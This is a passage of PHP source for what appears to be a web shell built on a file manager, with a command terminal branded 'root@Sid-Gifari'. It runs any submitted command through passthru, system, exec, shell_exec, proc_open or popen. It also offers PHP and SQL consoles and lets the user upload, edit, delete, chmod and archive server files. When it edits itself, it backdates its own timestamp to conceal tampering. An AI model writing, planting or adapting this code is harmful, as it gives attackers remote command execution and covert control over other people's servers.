FpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
